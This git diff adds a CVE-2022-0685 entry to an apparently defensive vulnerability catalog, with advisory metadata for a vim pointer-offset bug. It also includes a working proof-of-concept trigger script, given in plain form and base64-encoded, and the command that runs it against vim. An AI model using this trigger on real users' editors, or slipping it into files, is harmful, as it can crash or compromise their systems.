diff --git a/cve/vim/2022/CVE-2022-0685/README.md b/cve/vim/2022/CVE-2022-0685/README.md new file mode 100644 index 0000000000000000000000000000000000000000..c991a8768e9145a24a6c78d1e83b4d25113fcb07 --- /dev/null +++ b/cve/vim/2022/CVE-2022-0685/README.md @@ -0,0 +1,6 @@ +### 漏洞验证 +```shell +$ echo -ne "c2UgbWwgd2ljCnRj+42NjaYq" | base64 -d > poc +$ vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!" +``` +![](./png/CVE-2022-0685.png) \ No newline at end of file diff --git a/cve/vim/2022/CVE-2022-0685/png/CVE-2022-0685.png b/cve/vim/2022/CVE-2022-0685/png/CVE-2022-0685.png new file mode 100644 index 0000000000000000000000000000000000000000..3fb568d96d053b7d2124b3b8e38cf54a452c162d Binary files /dev/null and b/cve/vim/2022/CVE-2022-0685/png/CVE-2022-0685.png differ diff --git a/cve/vim/2022/CVE-2022-0685/poc b/cve/vim/2022/CVE-2022-0685/poc new file mode 100644 index 0000000000000000000000000000000000000000..eef07acccb31257f5d5e74682f7d1377628be05f --- /dev/null +++ b/cve/vim/2022/CVE-2022-0685/poc @@ -0,0 +1,2 @@ +se ml wic +tc* \ No newline at end of file diff --git a/cve/vim/2022/yaml/CVE-2022-0685.yaml b/cve/vim/2022/yaml/CVE-2022-0685.yaml new file mode 100644 index 0000000000000000000000000000000000000000..b04e2848da565885f4d0df16956b65f9e9dd88ec --- /dev/null +++ b/cve/vim/2022/yaml/CVE-2022-0685.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-0685 +source: https://huntr.dev/bounties/27230da3-9b1a-4d5d-8cdf-4b1e62fcd782/ +info: + name: Vim是一款基于UNIX平台的编辑器。 + severity: high + description: | + vim 8.2.4418之前版本存在安全漏洞,该漏洞源于vim中使用超出范围的指针偏移量。 + scope-of-influence: + vim < 8.2.4418 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-0685 + - https://github.com/vim/vim/commit/5921aeb5741fc6e84c870d68c7c35b93ad0c9f87 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-0685 + cwe-id: CWE-823 + cnvd-id: None + kve-id: None + tags: cve2022,拒绝服务 \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 4f5d258c6d1c128d133a12b8fa7777bc0dd7e0b2..22091161e0325a6d4c1de08a198cdb7af3f6192d 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -29,6 +29,7 @@ cve: - CVE-2022-0417 - CVE-2022-0572 - CVE-2022-0629 + - CVE-2022-0685 - CVE-2022-0729 openssh: - CVE-2022-1292